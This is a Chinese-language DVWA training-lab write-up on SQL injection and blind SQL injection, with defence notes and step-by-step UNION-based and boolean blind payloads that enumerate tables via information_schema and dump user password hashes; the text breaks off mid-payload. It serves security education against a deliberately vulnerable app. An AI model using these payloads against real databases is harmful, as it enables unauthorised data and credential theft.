DVWA 您所在的位置:网站首页 csp不小心点了不保存 DVWA

DVWA

2023-06-08 04:47| 来源: 网络整理| 查看: 265

DVWA靶场漏洞学习及补充 1.SQL注入(SQL Injection)介绍

SQL注入详解结构化查询语言(Structured Query Language,SQL),是一种特殊的编程语言,用于数据库中的标准数据查询语言。

SQL注入(SQL Injection)是一种常见的Web安全漏洞,主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱库、被删除、甚至整个服务器权限)。

即:注入产生的原因是后台服务器接收相关参数未经过滤直接带入数据库查询

手工注入(非盲注)的步骤。

1.判断是否存在注入,注入是字符型还是数字型

(字符型注入和数字型注入和的区别在于所查询的数据类型不同)

2.猜解SQL查询语句中的字段数

3.确定显示的字段顺序

4.获取当前数据库

5.获取数据库中的表

6.获取表中的字段名

7.下载数据

如何防御SQL注入

代码层面:

1.对输入进行严格的转义和过滤

2.使用参数化(Parameterized)查询

1参数化查询(Parameterized Query或Parameterized Statement)是指在设计与数据库链接并访问数据时,在需要填入数值或数据的地方,使用参数(Parameter)来给值,这个方法已被视为最有效可预防SQL注入攻击的攻击手法的防御方式。

网络层面:

1.通过WAF设备启用防SQL Inject注入策略(或类似防护系统)

2.云端防护(如阿里云盾)

Low

输入

在这里插入图片描述

查看源代码可知这一关对于表单输入ID没有进行任何过滤

1.测试是否含有SQL注入

输入1

1.1

输入1’ and 1=1

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘’’ at line 1

1.2

注入点判断,如上图可知受到单引号闭合影响

把SQL语句后续语句全部注释掉不执行,在判断语句后加 # 或者 --+ 即可

其中--+中的+代表空格,但是我使用--+会报错,不如-- 空格

(当使用get方式传参的时候,–+就是YYDS了,#会被当作浏览器自身操作)

`1’ and 1=1#

在这里插入图片描述

1' and 1=1--(后无空格)报错

1' and 1=1-- (后有空格)

在这里插入图片描述

1’ and 1=1--+(后有/无空格)报错

2.找字段

找出注入点以及符号问题,然后通过1’ and 1=1 order by 1#判断字段(就是正常查询时可以显示用户的几条信息)

1’ and 1=1 order by 1#

在这里插入图片描述

group by, order by 后面跟数字,指的是 select 后面选择的列(属性),1 代表第一个列(属性),依次类推。

1' and 1=1 order by 3#

Unknown column ‘3’ in ‘order clause’

在这里插入图片描述

3返回错误那么就有2个字段,2即为分界点

3.找注入点

找出字段之后(找字段的作用是为了后续报错,看会有几个位置可以报错)

看哪个位置输出什么

1' union select 1,2#

在这里插入图片描述

1' union select 1,2,3#

在这里插入图片描述

-1' union select 1,2#

sql语句获取id = xx的数据,这里我们让id = -1,条件不成立,便不会显示多余的东西

使用union(联合)来加入第二个select语句

1,2便会按照列的的顺序依次列出

在这里插入图片描述

常见参数

在MYSQL5.0以上版本中存在自带数据库information_schema,他是一个存储所有数据库名,表名,列名的数据库,相当于可以通过查询此库获得相应信息。(没有的话只能靠猜,暴力破解)

information_schema.tables:记录所有表名信息的表

information_schema.columns:记录所有列名信息的表

table_name:表名

column_name:列名

table_schema:数据库名

user() 查看当前MySQL登录的用户名

database() 查看当前使用MySQL数据库名

version() 查看当前MySQL版本

4.找数据

顺序首先是数据库名,表名,列名,之后是具体信息

-1' union select 1,database()#

在这里插入图片描述

符号“.”代表下一级

表名

-1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#

1information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式。什么是元数据呢?元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。

在这里插入图片描述

可以用group_concat把表名拼接起来

-1' union select 1, group_concat(table_name) from information_schema.tables where table_schema='dvwa'#

在这里插入图片描述

列名

-1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#

当发现有重复列名时,因为有多个数据库的列名可能重复可以加一个判定table_schema=”dvwa”

-1' union select 1, group_concat(column_name) from information_schema.columns where table_schema="dvwa" and table_name='users'#

在这里插入图片描述

查账号密码

-1' union select group_concat(user_id,first_name),group_concat(user,password) from users#

在这里插入图片描述

密码是通过MD5加密,解密后获得例如user_id为1的密码为password

user_id first_name user password 1 admin admin 5f4dcc3b5aa765d61d8327deb882cf99 => password

如果出现Illegal mix of collations for operation 'UNION'报错,可以用16进制来实现

1-1' union select group_concat(hex(user_id),hex(first_name)),group_concat(hex(user),hex(password)) from users# Medium

这里不再让用户输入id,而是使用下拉框选择参数,但是可以使用burpsuite抓包修改post的参数

在这里插入图片描述

burpsuite

proxy-open brower(intercept off)-submit(intercept on)-抓包如下

在这里插入图片描述

修改id=1 or 1=1#

结果如下

在这里插入图片描述

然后如Low,操作如下

id=1 and 1=1 order by 3# =>Unknown column ‘3’ in ‘order clause’

id=1 union select 1,database()# =>

在这里插入图片描述

mysqli-real-escape-string()

当查询表名时出现如下错误

id=1 union select 1,table_name from information_schema.tables where table_schema='dvwa'#

=>You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘'dvwa'#’ at line 1

view resource看到如下PHP

123456789

Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”,Anti-CSRF token机制的加入了进一步提高了安全性。

2. SQL盲注(SQL Injection(Blind))

与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。

盲注分为基于布尔的盲注、基于时间的盲注以及基于报错的盲注

手工盲注的步骤:

1.判断是否存在注入,注入是字符型还是数字型

2.猜解当前数据库名

3.猜解数据库中的表名

4.猜解表中的字段名

5.猜解数据

Low

结果只有两种显示

在这里插入图片描述在这里插入图片描述

基于布尔的盲注1.判断是否存在注入,注入是字符型还是数字型

数字型注入如:select email from member where id=$id

如果输入1 or 1=1则为永真,即select email from member where id=1 or 1=1

字符型注入如:select email from member where id=’$id’

如果输入1 or 1=1,即select email from member where id=’1 or 1=1,此时会报错

此时可以输入’ or 1=1 #,select email from member where id=’’ or 1=1 #’

输入1’ and 1=1#

在这里插入图片描述

说明存在字符型的SQL盲注

2.猜解当前数据库名

方法大概就是先判断长度,再通过缩小ascii码范围判断每个字符。

输入1' and length(database())=4#

在这里插入图片描述

说明数据库名长度为4。

然后采用二分法猜解数据库名

输入1’ and ascii(substr(database(),1,1))>97 #

[substr

substr,SQL数据库操作函数 substr(strings|express,m,[n])

m:从第m个字符开始截取;n:截取后字符串长度为n

在这里插入图片描述

显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值)

输入1’ and ascii(substr(database(),1,1))



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

      专题文章
        CopyRight 2018-2019 实验室设备网 版权所有